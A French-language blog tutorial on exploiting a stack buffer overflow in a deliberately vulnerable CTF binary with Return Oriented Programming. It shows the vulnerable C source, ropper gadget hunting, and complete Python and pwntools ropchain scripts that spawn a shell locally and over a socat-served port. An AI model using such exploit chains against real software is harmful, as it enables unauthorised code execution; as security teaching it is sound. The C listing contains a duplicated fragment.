Exploitation – stack buffer overflow: Return Oriented Programming – 2/2: La pratique

Dans l’article précédent nous avions vu la théorie. Maintenant passons à la pratique !

Pré-requis:

  • Avoir installé ropper
  • Avoir python
  • Avoir readelf

Dans le dossier chall de ce dépôt Git se trouve un challenge : Un programme vulnérable qui se charge de convertir l’entrée utilisateur en hexadécimal.

Nous allons l’exploiter pas-à-pas mais nous vous encourageons à le faire par vous-même avant de lire la suite de l’article.

La première étape dans l’exploitation de ce type de challenge est de trouver la vulnérabilité.


Find the bug

Voilà le code source du programme :

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char ** argv){
char buffer[232];
int len, i;

gets(buffer);
len = strlen(buffer);

if(len >= 550){
printf("Size too big :(\n");
exit(EXIT_FAILURE);
}

for (i=0; i<len; i++){
printf("%02x", buffer[i]);
}
printf("\n");
return 0;
}
printf("\n");
return 0;
}

Note: Le code source n’est pas obligatoire, des outils comme radare2, Cutter, IDA, Ghidra vous permettront de retrouver les mêmes résultats.

Pour les habitués de l’exploit, la vulnérabilité devrait vous avoir sauté aux yeux.

Ici, une seule fonction prend des paramètres envoyés par l’utilisateur, c’est donc forcément à cet endroit que se trouve la vulnérabilité. Il s’agit de l’appel à la fonction gets(). Cette fonction se charge de lire autant d’octets que possible jusqu’à trouver le caractère \n ou la fin du fichier, sans limite de taille.

Le tableau dans lequel la fonction va stocker la chaîne de caractères fait 232 octets. De plus, il y a deux autres variables dans la stack : len et i. Il est donc fortement probable, sachant que dans la stack chaque variable est alignée sur 8 octets, que l’adresse de retour que nous souhaitons réécrire se trouve autour de 248 octets par rapport au début de notre buffer (232 + 8 + 8 octets).

Note: le type int est en fait un alias sur la plupart des configurations pour int32t et donc occupe 4 octets. Mais le fonctionnement de la stack fait que chaque variable est alignée avec l’architecture du programme, ici 64 bits, et donc prendra le premier multiple de 8 octets à disposition, ici 8 octets.

Nous allons vérifier cette théorie par la pratique :

> python -c "print('A' * 247)" | ./rop
414141414141414141414141...[redacted]...

  • En vérité, nous avons déjà réécrit la variable len et la variable i. Cela aurait pu causer des problèmes, mais ces deux variables sont initialisées après notre overflow.
  • Nous envoyons 248 octets parce que nous envoyons 247 ‘A’ et le ‘\n

Que se passe-t-il maintenant si nous envoyons 1 caractère supplémentaire ?

> python -c "print('A' * 248)" | ./rop
414141414141414141414141...[redacted]...
[1]    42178 done                              python -c "print('A' * 248)" |
       42179 segmentation fault (core dumped)  ./rop


Le programme a crashé. Un petit coup d’oeil en utilisant strace et nous verrons quel est le souci
> python -c "print('A' * 248)" | strace ./rop
execve("./rop", ["./rop"], 0x7ffcfef70c00 /* 51 vars */) = 0
arch_prctl(0x3001 /* ARCH_??? */, 0x7ffee0b338b0) = -1 EINVAL (Invalid argument)
brk(NULL)                               = 0x1229000
brk(0x122a1c0)                          = 0x122a1c0
arch_prctl(ARCH_SET_FS, 0x1229880)      = 0
uname({sysname="Linux", nodename="anatomy", ...}) = 0
readlink("/proc/self/exe", "/home/user/repos/articles/00_ROP"..., 4096) = 42
brk(0x124b1c0)                          = 0x124b1c0
brk(0x124c000)                          = 0x124c000
mprotect(0x4a8000, 12288, PROT_READ)    = 0
fstat(0, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
read(0, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 4096) = 249
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0x2), ...}) = 0
write(1, "41414141414141414141414141414141"..., 50941414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141fffffff8000000ffffffec0000004141414141414141
) = 509
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=NULL} ---
+++ killed by SIGSEGV (core dumped) +++
[1]    42222 done                              python -c "print('A' * 248)" |
       42223 segmentation fault (core dumped)  strace ./rop

Alors il y a pas mal d’info ici mais le plus intéressant ici est la partie avec sigsegv:

--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=NULL} ---

si_addr=NULL veut dire que que le pointeur d’instruction a été réécrit par 0x00.

Essayons maintenant de réécrire complètement l’adresse par des ‘B’:

> python -c "print('A' * 248 + 'B' * 6)" | strace ./rop
[redacted]
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x424242424242} ---
[redacted]

Donc notre offset est bien 248 ! Si la stack était exécutable, il suffirait d’écrire un shellcode, trouver son adresse, et sauter dessus. Mais là cela ne sera pas possible. Il faudra donc construire une ropchain avec les gadgets contenus dans l’exécutable ! On passe donc à l’étape suivante.


Trouver les gadgets

On va utiliser ropper pour lister nos gadgets: Note: Ce qui sera dans notre ropchain à proprement parler sont les adresses de ces gadgets!

> ropper --file ./rop --nocolor > /tmp/gadgets
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%

Je vous laisse regarder le contenu de /tmp/gadgets

Ne vous inquiétez pas, un peu de grep et tout ira mieux

> egrep -i ": pop (rax|rdi|rsi|rdx); ret;" /tmp/gadgets
0x00000000004469d0: pop rax; ret;
0x000000000040183a: pop rdi; ret;
0x000000000040788e: pop rsi; ret;

Pas de pop rdx tout simple, tant pis on fera avec des gadgets moins “évidents”:

> grep -i ": pop rdx;" /tmp/gadgets
0x0000000000425c16: pop rdx; add eax, 0x83480000; ret 0x4910;
0x000000000040dd22: pop rdx; idiv edi; jmp qword ptr [rsi + 0x2e];
0x000000000041ba0a: pop rdx; pop rbp; pop r12; ret;
0x000000000047277b: pop rdx; pop rbx; ret;
0x000000000041e5a9: pop rdx; xor eax, eax; pop rbp; pop r12; ret;

Le gadget qui nous arrange le plus est donc pop rdx; pop rbx; ret.

Ensuite, il nous faut notre write-what-where:

> grep -i ": mov qword ptr \[rsi\], rax; ret" /tmp/gadgets
0x0000000000470475: mov qword ptr [rsi], rax; ret;

Il nous faut un gadget pour un syscall (execve):

> grep -i --color=always ": syscall;" /tmp/gadgets
0x0000000000401213: syscall;
[redacted]

Ok, rien qu’avec ces gadgets, nous avons de quoi faire notre ropchain. À un détail près. Nous voulons execve(« /bin/sh », [« /bin/sh], Null); Il nous faut donc un endroit pour écrire “/bin/sh”. L’exécutable ici n’a pas la protection PIE, ce qui implique que tous les segments sont à une adresse statique. Nous allons donc nous servir du segment .data pour y stocker /bin/sh

Pour connaître son adresse:

> readelf -S rop |grep -i '.data '
  [20] .data             PROGBITS         00000000004ab0e0  000aa0e0

L’adresse du segment .data est donc 0x4ab0e0

Ok donc maintenant qu’on a tout ca, quel est le plan ?

  • Écrire /bin/sh à l’adresse 0x4ab0e0
  • Écrire 0x4ab0e0 à l’adresse 0x4ab0f0
  • Exécuter le syscall execve avec en paramètres : execve(0x4ab0e0, 0x4ab0f0, 0);

Note: pour des soucis de clarté, dans les blocs de code nous utiliserons @.data pour représenter l’adresse du segment data


Écrire /bin/sh à l’adresse 0x4ab0e0

Pour pouvoir écrire quelque chose il nous faut un write-what-where. Ça tombe bien, nous avons mov qword ptr [rsi], rax; ret;.

Il faut donc pré-paramétrer rsi et rax et pour ça nous allons utiliser le gadget pop rax et le gadget pop rsi.

Voilà donc l’enchaînement proposé :

pop rsi; ret
@ .data
pop rax; ret
/bin//sh
mov qword ptr [rsi], rax;

Note: Remarquez que nous avons écrit /bin//sh et non pas /bin/sh. rax est un registre 64 bits, et /bin/sh fait 7 octets et est donc 1 octet trop court ! Alors on rajoute un “/”, ce qui donne une chemin toujours aussi valide.


La prochaine étape, écrire 0x4ab0e0 à 0x4ab0f0

Certains se demandent peut être pourquoi faire ça. En fait, le deuxième argument de execve est le tableau des arguments, c’est donc un tableau de pointeurs vers des chaînes de caractères (ou pour les amateurs de C, un char**). Il faut donc que le premier pointeur du tableau pointe vers le nom du binaire, que nous avons mis à l’adresse 0x4ab0e0.

Ici, vous l’aurez compris, c’est encore une fois un write-what-where qu’il nous faut. Et cette partie de notre ropchain ressemblera beaucoup à la précédente 🙂 Voilà ce que nous proposons :

pop rsi; ret
@ .data + 0x10
pop rax; ret
@ .data
mov qword ptr [rsi], rax;


Exécution du syscall

Pour cette partie, il nous faudra utiliser le gadget syscall. Le numéro de l’appel système à exécuter est stocké dans le registre rax, il nous faudra donc le paramétrer. En 64 bits sur Linux les arguments des syscalls sont dans l’ordre dans les registres suivant: rdi, rsi, rdx … Et il faudra également les préparer.

Le numéro de syscall pour execve est 59. Vous pourrez trouver tous ces numéros et leurs arguments à cette adresse.

Voilà donc ce que nous proposons:

pop rdi; ret
@ .data
pop rsi; ret
@ .data + 0x10
pop rdx; pop rbx;  ret
0
0
pop rax; ret
59
syscall;

La ropchain finale

Pour la ropchain finale nous allons faire un petit script python, parce que c’est plus pratique.

Voilà le squelette du script:

#!/bin/env python3
from struct import pack
from os import write

pop_rax = pack("<Q", 0x4469d0)
pop_rdi = pack("<Q", 0x40183a)
pop_rsi = pack("<Q", 0x40788e)
pop_rdx = pack("<Q", 0x47277b)
movd_rsi_rax = pack("<Q", 0x470475)
syscall = pack("<Q", 0x401213)
at_data = pack("<Q", 0x4ab0e0)
at_data_16 = pack("<Q", 0x4ab0e0+0x10)

buff = 248 * b"A"

write(1, buff)

Nous avons simplement repris les adresses de nos gadgets et nous avons inclus la fonction pack. Cette fonction va sérialiser nos adresses sous forme de chaîne de caractères (en little endian).

Notre ropchain devrait ressembler à ca:

pop rsi; ret
@ .data
pop rax; ret
/bin//sh
mov qword ptr [rsi], rax;
pop rsi; ret
@ .data + 0x10
pop rax; ret
@ .data
mov qword ptr [rsi], rax;
pop rdi; ret
@ .data
pop rsi; ret
@ .data + 0x10
pop rdx; pop rbx; ret
0
0
pop rax; ret
59
syscall;

Ce qui se traduit dans le script par:

#!/bin/env python3
from struct import pack
from os import write

pop_rax = pack("<Q", 0x4469d0)
pop_rdi = pack("<Q", 0x40183a)
pop_rsi = pack("<Q", 0x40788e)
pop_rdx = pack("<Q", 0x47277b)
movd_rsi_rax = pack("<Q", 0x470475)
syscall = pack("<Q", 0x401213)
at_data = pack("<Q", 0x4ab0e0)
at_data_16 = pack("<Q", 0x4ab0e0+0x10)
null = pack("<Q", 0x00)
execve = pack("<Q", 59)


buff = 248 * b"A"
buff += pop_rsi
buff += at_data
buff += pop_rax
buff += b"/bin//sh"
buff += movd_rsi_rax
buff += pop_rsi
buff += at_data_16
buff += pop_rax
buff += at_data
buff += movd_rsi_rax
buff += pop_rdi
buff += at_data
buff += pop_rsi
buff += at_data_16
buff += pop_rdx
buff += null
buff += null
buff += pop_rax
buff += execve
buff += syscall


write(1, buff)
write(1, b"\n")

Par souci de sécurité, nous devons être certains que le deuxième pointeur dans le tableau des arguments est bien nul. Nous allons donc le réécrire. Ce qui finalement donne:

#!/bin/env python3
from struct import pack
from os import write

pop_rax = pack("<Q", 0x4469d0)
pop_rdi = pack("<Q", 0x40183a)
pop_rsi = pack("<Q", 0x40788e)
pop_rdx = pack("<Q", 0x47277b)
movd_rsi_rax = pack("<Q", 0x470475)
syscall = pack("<Q", 0x401213)
at_data = pack("<Q", 0x4ab0e0)
at_data_16 = pack("<Q", 0x4ab0e0+0x10)
at_data_24 = pack("<Q", 0x4ab0e0+0x18)
null = pack("<Q", 0x00)
execve = pack("<Q", 59)
buff = 248 * b"A"

""" parametrer le premier argument """
buff += pop_rsi
buff += at_data
buff += pop_rax
buff += b"/bin//sh"
buff += movd_rsi_rax

""" parametrer le deuxieme argument """
buff += pop_rsi
buff += at_data_16
buff += pop_rax
buff += at_data
buff += movd_rsi_rax

""" mettre le 2e pointeur du tableau des arguments à 0 """
buff += pop_rsi
buff += at_data_24
buff += pop_rax
buff += null
buff += movd_rsi_rax

""" execve """
buff += pop_rdi
buff += at_data
buff += pop_rsi
buff += at_data_16
buff += pop_rdx
buff += null
buff += null
buff += pop_rax
buff += execve
buff += syscall

write(1, buff)
write(1, b"\n") # trigger


Let’s try it!

Nous pouvons vérifier l’exécution du shell en cherchant les execve dans la sortie de strace:

> python tst.py | strace ./rop 2>&1 | grep -i execve
execve("./rop", ["./rop"], 0x7ffeeb4cd4c0 /* 51 vars */) = 0
execve("/bin//sh", ["/bin//sh"], NULL)  = 0

Il est bien exécuté ! Mais le shell se ferme directement ?! C’est parce que le shell est le processus fils du programme vulnérable et lorsque ce dernier se ferme, l’OS va tuer le shell pour éviter les zombies. Petite astuce pour que cela n’arrive plus:

> python tst.py > /tmp/payload
> cat /tmp/payload - | ./rop
414141414141414141414141...[redacted]...
id
uid=1000(user) gid=1000(user) groups=1000(user)

Et voilà 🙂


Ouais mais là… J’ai juste un shell local…

Oui c’est vrai, et en CTF, il y a fort à parier que vous auriez à exploiter ça à distance. On vous donnera l’exécutable, une ip, un port, et c’est parti. Nous allons donc apporter quelques changements à notre script en conséquence.

Pour cette partie, nous utiliserons deux outils: socat et pwn.

Socat va nous permettre de transformer notre programme local en programme disponible sur le réseau, ce qui va nous permettre de simuler le fait que l’exécutable est à distance :).

Pour toute cette partie, nous lancerons notre programme avec la commande suivante:

socat -d -d tcp-listen:5555,fork,reuseaddr,bind=127.0.0.1 exec:"./rop"

Vous l’aurez donc compris, cette commande va rendre disponible l’exécutable “rop” sur le port 5555 (Attention, c’est un programme vulnérable, vous devez impérativement couper socat quand vous avez fini).

Maintenant, au tour de pwn. Cette bibliothèque python va nous permettre de faciliter l’interaction avec un programme à distance. (Pour les amateurs, cette bibliothèque est extrêmement utile et complète et je recommande vraiment d’approfondir le sujet).

Reprenons notre script, mais avec pwn :

#!/bin/env python3
from struct import pack
from pwn import remote


proc = remote("127.0.0.1", 5555)


pop_rax = pack("<Q", 0x4469d0)
pop_rdi = pack("<Q", 0x40183a)
pop_rsi = pack("<Q", 0x40788e)
pop_rdx = pack("<Q", 0x47277b)
movd_rsi_rax = pack("<Q", 0x470475)
syscall = pack("<Q", 0x401213)
at_data = pack("<Q", 0x4ab0e0)
at_data_16 = pack("<Q", 0x4ab0e0+0x10)
at_data_24 = pack("<Q", 0x4ab0e0+0x18)
null = pack("<Q", 0x00)
execve = pack("<Q", 59)
buff = 248 * b"A"


""" parametrer le premier argument """
buff += pop_rsi
buff += at_data
buff += pop_rax
buff += b"/bin//sh"
buff += movd_rsi_rax

""" parametrer le deuxieme argument """
buff += pop_rsi
buff += at_data_16
buff += pop_rax
buff += at_data
buff += movd_rsi_rax

""" mettre le 2e pointeur du tableau des arguments à 0 """
buff += pop_rsi
buff += at_data_24
buff += pop_rax
buff += null
buff += movd_rsi_rax

""" execve """
buff += pop_rdi
buff += at_data
buff += pop_rsi
buff += at_data_16
buff += pop_rdx
buff += null
buff += null
buff += pop_rax
buff += execve
buff += syscall

proc.sendline(buff)
proc.interactive() # et paf le shell

Plutôt simple non ? 🤡

Et du coup, pour confirmer que cela fonctionne toujours:

> python tst.py
[+] Opening connection to 127.0.0.1 on port 5555: Done
[*] Switching to interactive mode
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$


Pour résumer les différents scénarios auxquels nous avons répondu:

  • Le programme vulnérable est en local, et nous disposons au moins du binaire (Même si ici nous avons utilisé le code source).
  • Le programme vulnérable est en remote, et nous disposons au moins du binaire.

Mais il y a un scénario majeur que nous n’avons pas encore exploré: Et si le programme était en remote, mais que nous n’avions pas le binaire ? Dans un prochain article, nous verrons qu’il est tout aussi possible d’exploiter la vulnérabilité, même si la tâche sera plus difficile et que des prérequis bien particuliers seront nécessaires 😉


Nos formations Sécurité

Laisser un commentaire

Ce site utilise Akismet pour réduire les indésirables. En savoir plus sur comment les données de vos commentaires sont utilisées.

%d blogueurs aiment cette page :